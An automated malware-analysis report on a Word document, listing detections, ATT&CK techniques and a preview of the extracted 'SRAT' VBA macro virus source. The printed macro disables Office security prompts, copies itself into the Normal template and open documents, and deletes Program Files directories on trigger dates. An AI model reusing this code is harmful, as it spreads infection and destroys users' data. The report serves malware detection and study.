MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample contains VBA macros, specifically a Document_Open macro, which is a critical heuristic firing. The macro attempts to disable security warnings and injects code into the Normal template, indicating an attempt at persistence. The ClamAV detection of 'Win.Trojan.Psycho-3' and 'Win.Trojan.wmvg-1' further supports its malicious nature. The script writes to the registry key HKEY_CURRENT_USER\Software\Microsoft\Office\SRAT, suggesting a persistence mechanism.
Heuristics 3
-
ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Psycho-3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 14166 bytes |
SHA-256: 165626be4c5fe44b0bc5c799a6192a037ead00d63dca2e50df175ded7024fa2c |
|||
|
Detection
ClamAV:
Win.Trojan.wmvg-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "SRAT"
Attribute VB_Base = "1Normal.SRAT"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (19 - 19)
Options.VirusProtection = (19 - 19)
Options.SaveNormalPrompt = (19 - 19)
End If
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "SRAT") <> "by Kwyjiboymi" Then
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "SRAT") = "by Kwyjiboymi"
End If
Dim ADVBPVBCI1, ADCMCLs%, DoAD As Boolean, myBgnL%
Dim NTVBPVBCI1, NTCMCLs%, DoNT As Boolean, ToInfect, SRATFill As Boolean
Set ADVBPVBCI1 = ActiveDocument.VBProject.VBComponents.Item(1)
ADCMCLs = ADVBPVBCI1.CodeModule.CountOfLines
If ADVBPVBCI1.Name <> "SRAT" Then
If ADCMCLs > 0 Then ADVBPVBCI1.CodeModule.DeleteLines 1, ADCMCLs
Set ToInfect = ADVBPVBCI1
ADVBPVBCI1.Name = "SRAT"
DoAD = True
End If
Set NTVBPVBCI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCMCLs = NTVBPVBCI1.CodeModule.CountOfLines
If NTVBPVBCI1.Name <> "SRAT" Then
If NTCMCLs > 0 Then NTVBPVBCI1.CodeModule.DeleteLines 1, NTCMCLs
Set ToInfect = NTVBPVBCI1
NTVBPVBCI1.Name = "SRAT"
DoNT = True
End If
myBgnL = 2
If DoNT = True Then
Do While ADVBPVBCI1.CodeModule.Lines(1, 1) = ""
ADVBPVBCI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADVBPVBCI1.CodeModule.Lines(myBgnL, 1) <> ""
ToInfect.CodeModule.InsertLines myBgnL, ADVBPVBCI1.CodeModule.Lines(myBgnL, 1)
myBgnL = myBgnL + 1
Loop
End If
If DoAD = True Then
Do While NTVBPVBCI1.CodeModule.Lines(1, 1) = ""
NTVBPVBCI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTVBPVBCI1.CodeModule.Lines(myBgnL, 1) <> ""
ToInfect.CodeModule.InsertLines myBgnL, NTVBPVBCI1.CodeModule.Lines(myBgnL, 1)
myBgnL = myBgnL + 1
Loop
End If
If NTCMCLs <> 0 And ADCMCLs = 0 And (InStr(1, ActiveDocument.Name, "Document") = 0) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") > 0) Then
ActiveDocument.Saved = True
End If
If Day(Now) = 19 Then
SRATFill = True
GoTo SRATAct1
End If
If Day(Now) = Second(Now) Then GoTo SRATAct1
Exit Sub
SRATAct1:
Dim f%, k%, myp, tmp, mys$
Randomize
mys = " (¥) "
Selection.TypeText " is it safe? (y/n)" & vbCrLf
myp = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "ProgramFilesPath") & "\"
k = Rnd * 19 + 1
tmp = Dir(myp, vbDirectory)
Do While f < k And tmp <> ""
If tmp <> "." And tmp <> ".." Then
tmp = myp & tmp
RmDir tmp
Selection.TypeText mys
End If
f = f + 1
tmp = Dir
Loop
k = k - 2
Selection.TypeText "your lucky number is " & k & " ! "
If k > 0 Then Selection.TypeText "by the way, each" & mys & "represents a dead directory! guess what " & k & " means! anyway, tell me about yourself.." & mys & "(SRAT)"
If SRATFill = True Then GoTo SRATAct2
Exit Sub
SRATAct2:
tmp = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "SystemRoot") & "\temp\srat.19"
Open tmp For Output As #1
If Err Then Open "c:\temp\srat.19" For Output As #1
Do
Print #1, mys, mys, mys, mys, mys, mys, mys, mys, mys, mys
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.